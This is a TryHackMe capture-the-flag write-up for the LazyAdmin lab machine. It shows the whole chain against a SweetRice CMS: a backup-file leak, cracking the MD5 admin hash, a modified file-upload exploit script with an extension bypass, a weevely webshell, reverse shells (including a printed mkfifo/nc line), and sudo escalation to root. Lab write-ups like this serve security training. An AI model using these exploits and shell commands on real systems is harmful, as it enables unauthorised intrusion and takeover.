writeups

LazyAdmin - Write-up - TryHackMe

noraj (Alexandre ZANNI)
, , , , , , ,
🇬🇧

Information

Room#

  • Name: LazyAdmin
  • Profile: tryhackme.com
  • Difficulty: Easy
  • Description: Easy linux machine to practice your skills

LazyAdmin

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

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$ sudo pacman -S nmap ffuf exploitdb john weevely pwncat

Network enumeration#

Service scan with nmap:

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# Nmap 7.91 scan initiated Mon Mar 22 17:29:52 2021 as: nmap -sSVC -p- -oA nmap_full 10.10.206.27
Nmap scan report for 10.10.206.27
Host is up (0.035s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 49:7c:f7:41:10:43:73:da:2c:e6:38:95:86:f8:e0:f0 (RSA)
|   256 2f:d7:c4:4c:e8:1b:5a:90:44:df:c0:63:8c:72:ae:55 (ECDSA)
|_  256 61:84:62:27:c6:c3:29:17:dd:27:45:9e:29:cb:90:5e (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Mar 22 17:34:28 2021 -- 1 IP address (1 host up) scanned in 275.92 seconds

Web enumeration#

Only an Apache httpd default page is displayed, let's find if there is a web app deployed on a sub-directory or hidden files.

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$ ffuf -u http://10.10.206.27/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt -fc 403
# nothing

$ ffuf -u http://10.10.206.27/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -fc 403
...
content                 [Status: 301, Size: 314, Words: 20, Lines: 10]

So browsing at /content/ we can see a page of Basic CMS SweetRice.

We can quickly browse the source repository to discover the architecture. I notice a changelog.txt file.

So browsing /content/changelog.txt tells us it should be version 1.5.0 or 1.5.1.

Web exploitation#

The identified version should be vulnerable:

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$ searchsploit sweetrice 1.5
------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                      |  Path
------------------------------------------------------------------------------------ ---------------------------------
SweetRice 1.5.1 - Arbitrary File Download                                           | php/webapps/40698.py
SweetRice 1.5.1 - Arbitrary File Upload                                             | php/webapps/40716.py
SweetRice 1.5.1 - Backup Disclosure                                                 | php/webapps/40718.txt
SweetRice 1.5.1 - Cross-Site Request Forgery / PHP Code Execution                   | php/webapps/40700.html
SweetRice 1.5.1 - Cross-Site Request Forgery                                        | php/webapps/40692.html
------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

EDB-ID-40718 is showing an easy to exploit backup disclosure.

We can directly download /content/inc/mysql_backup/mysql_bakup_20191129023059-1.5.1.sql.

We can find an INSERT statement containing a serialized PHP object.

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INSERT INTO `%--%_options` VALUES(\'1\',\'global_setting\',\'a:17:{s:4:\\"name\\";s:25:\\"Lazy Admin&#039;s Website\\";s:6:\\"author\\";s:10:\\"Lazy Admin\\";s:5:\\"title\\";s:0:\\"\\";s:8:\\"keywords\\";s:8:\\"Keywords\\";s:11:\\"description\\";s:11:\\"Description\\";s:5:\\"admin\\";s:7:\\"manager\\";s:6:\\"passwd\\";s:32:\\"42f749ade7f9e195bf475f37a44cafcb\\";s:5:\\"close\\";i:1;s:9:\\"close_tip\\";s:454:\\"<p>Welcome to SweetRice - Thank your for install SweetRice as your website management system.</p><h1>This site is building now , please come late.</h1><p>If you are the webmaster,please go to Dashboard -> General -> Website setting </p><p>and uncheck the checkbox \\"Site close\\" to open your website.</p><p>More help at <a href=\\"http://www.basic-cms.org/docs/5-things-need-to-be-done-when-SweetRice-installed/\\">Tip for Basic CMS SweetRice installed</a></p>\\";s:5:\\"cache\\";i:0;s:13:\\"cache_expired\\";i:0;s:10:\\"user_track\\";i:0;s:11:\\"url_rewrite\\";i:0;s:4:\\"logo\\";s:0:\\"\\";s:5:\\"theme\\";s:0:\\"\\";s:4:\\"lang\\";s:9:\\"en-us.php\\";s:11:\\"admin_email\\";N;}\',\'1575023409\');

Inside the configuration we can find the admin account manager / 42f749ade7f9e195bf475f37a44cafcb (hash).

With haiti we can find that the hash is probably MD5. Let's hope it's not salted.

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$ haiti 42f749ade7f9e195bf475f37a44cafcb
MD2 [JtR: md2]
MD5 [HC: 0] [JtR: raw-md5]
MD4 [HC: 900] [JtR: raw-md4]
Double MD5 [HC: 2600]
...

Let's crack it with JtR:

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$ john hash.txt -w=/usr/share/wordlists/passwords/rockyou.txt --format=raw-md5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
Password123      (manager)
1g 0:00:00:00 DONE (2021-04-01 09:45) 100.0g/s 3360Kp/s 3360Kc/s 3360KC/s classof2011..181187
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed

By looking again at the source code Guthub repository we can see that the code is stored in as folder. So on the website we need to browse to /content/as/ and are facing a login page.

We can use the authenticated file upload exploit. I modified it because the original exploit was awful.

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$ cp /usr/share/exploitdb/exploits/php/webapps/40716.py .
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#/usr/bin/python
#-*- Coding: utf-8 -*-

import requests
import os
from requests import session

root_url = 'http://10.10.111.242/content'
username = 'manager'
password = 'Password123'
filename = '/home/noraj/Documents/challs/THM/lazyadmin/agent.php'
file = {'upload[]': open(filename, 'rb')}

payload = {
    'user':username,
    'passwd':password,
    'rememberMe':''
}

with session() as r:
    login = r.post(root_url + '/as/?type=signin', data=payload)
    success = 'Login success'
    if login.status_code == 200:
        print("[+] Sending User&Pass...")
        if login.text.find(success) > 1:
            print("[+] Login Succssfully...")
        else:
            print("[-] User or Pass is incorrent...")
            print("Good Bye...")
            exit()
            pass
        pass
    uploadfile = r.post(root_url + '/as/?type=media_center&mode=upload', files=file)
    if uploadfile.status_code == 200:
        print("[+] File Uploaded...")
        print("[+] URL : " + root_url + "/attachment/" + os.path.basename(filename))
        pass

It seems ot work but the file is not uploaded:

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$ python 40716.py
[+] Sending User&Pass...
[+] Login Succssfully...
[+] File Uploaded...
[+] URL : http://10.10.111.242/content/attachment/agent.php

When trying again with a PNG again it works so the .php extension must be blocked.

Using the .phtml extension let us bypass the filter.

Now we can use our webshell:

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$ weevely http://10.10.111.242/content/attachment/agent.phtml noraj

[+] weevely 4.0.1

[+] Target:     10.10.111.242
[+] Session:    /home/noraj/.weevely/sessions/10.10.111.242/agent_0.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Let's deploy a reverse shell now:

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www-data@THM-Chal:/var/www/html/content/attachment $ :backdoor_reversetcp -shell /bin/bash -vector python_pty 10.9.19.77 7777
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$ pwncat -lvv 7777
INFO: Listening on :::7777 (family 10/IPv6, TCP)
INFO: Listening on 0.0.0.0:7777 (family 2/IPv4, TCP)
INFO: Client connected from 10.10.111.242:57284 (family 2/IPv4, TCP)
www-data@THM-Chal:/var/www/html/content/attachment$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

System enumeration#

There is a readable home directory.

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www-data@THM-Chal:/$ ls -lhA /home/itguy
total 140K
-rw-------  1 itguy itguy 1.6K Nov 30  2019 .ICEauthority
-rw-------  1 itguy itguy   53 Nov 30  2019 .Xauthority
lrwxrwxrwx  1 root  root     9 Nov 29  2019 .bash_history -> /dev/null
-rw-r--r--  1 itguy itguy  220 Nov 29  2019 .bash_logout
-rw-r--r--  1 itguy itguy 3.7K Nov 29  2019 .bashrc
drwx------ 13 itguy itguy 4.0K Nov 29  2019 .cache
drwx------ 14 itguy itguy 4.0K Nov 29  2019 .config
drwx------  3 itguy itguy 4.0K Nov 29  2019 .dbus
-rw-r--r--  1 itguy itguy   25 Nov 29  2019 .dmrc
drwx------  2 itguy itguy 4.0K Nov 29  2019 .gconf
drwx------  3 itguy itguy 4.0K Nov 30  2019 .gnupg
drwx------  3 itguy itguy 4.0K Nov 29  2019 .local
drwx------  5 itguy itguy 4.0K Nov 29  2019 .mozilla
-rw-------  1 itguy itguy  149 Nov 29  2019 .mysql_history
drwxrwxr-x  2 itguy itguy 4.0K Nov 29  2019 .nano
-rw-r--r--  1 itguy itguy  655 Nov 29  2019 .profile
-rw-r--r--  1 itguy itguy    0 Nov 29  2019 .sudo_as_admin_successful
-rw-r-----  1 itguy itguy    5 Nov 30  2019 .vboxclient-clipboard.pid
-rw-r-----  1 itguy itguy    5 Nov 30  2019 .vboxclient-display.pid
-rw-r-----  1 itguy itguy    5 Nov 30  2019 .vboxclient-draganddrop.pid
-rw-r-----  1 itguy itguy    5 Nov 30  2019 .vboxclient-seamless.pid
-rw-------  1 itguy itguy   82 Nov 30  2019 .xsession-errors
-rw-------  1 itguy itguy   82 Nov 29  2019 .xsession-errors.old
drwxr-xr-x  2 itguy itguy 4.0K Nov 29  2019 Desktop
drwxr-xr-x  2 itguy itguy 4.0K Nov 29  2019 Documents
drwxr-xr-x  2 itguy itguy 4.0K Nov 29  2019 Downloads
drwxr-xr-x  2 itguy itguy 4.0K Nov 29  2019 Music
drwxr-xr-x  2 itguy itguy 4.0K Nov 29  2019 Pictures
drwxr-xr-x  2 itguy itguy 4.0K Nov 29  2019 Public
drwxr-xr-x  2 itguy itguy 4.0K Nov 29  2019 Templates
drwxr-xr-x  2 itguy itguy 4.0K Nov 29  2019 Videos
-rw-r--r-x  1 root  root    47 Nov 29  2019 backup.pl
-rw-r--r--  1 itguy itguy 8.8K Nov 29  2019 examples.desktop
-rw-rw-r--  1 itguy itguy   16 Nov 29  2019 mysql_login.txt
-rw-rw-r--  1 itguy itguy   38 Nov 29  2019 user.txt

There are several interesting files:

  • the user flag
  • some mysql credentials
  • a backup script in Perl
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www-data@THM-Chal:/home/itguy$ cat user.txt
THM{REDACTED}

www-data@THM-Chal:/home/itguy$ cat mysql_login.txt
rice:randompass

www-data@THM-Chal:/home/itguy$ cat backup.pl
#!/usr/bin/perl

system("sh", "/etc/copy.sh");

/etc/copy.sh contains a reverse shell and is writable by everyone:

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www-data@THM-Chal:/home/itguy$ cat /etc/copy.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.190 5554 >/tmp/f

www-data@THM-Chal:/home/itguy$ ls -lh /etc/copy.sh
-rw-r--rwx 1 root root 81 Nov 29  2019 /etc/copy.sh

My guess is that it may be used in a privileged cron script but first I want to check the MySQL DB.

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www-data@THM-Chal:/home/itguy$ mysql -u rice -p
Enter password: randompass

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 46
Server version: 5.7.28-0ubuntu0.16.04.2 (Ubuntu)

Copyright (c) 2000, 2019, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

After a bit of digging I concluded there was nothing useful on the DB.

EoP#

Going back to the backup script it seems it's not used by a cron task but we can use it directly via sudo:

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www-data@THM-Chal:/home/itguy$ sudo -l
Matching Defaults entries for www-data on THM-Chal:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on THM-Chal:
    (ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl

We have just to modify /etc/copy.sh and execute the backup script as root:

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www-data@THM-Chal:/home/itguy$ echo '/bin/bash -i' > /etc/copy.sh
www-data@THM-Chal:/home/itguy$ sudo /usr/bin/perl /home/itguy/backup.pl
root@THM-Chal:/# id
uid=0(root) gid=0(root) groups=0(root)
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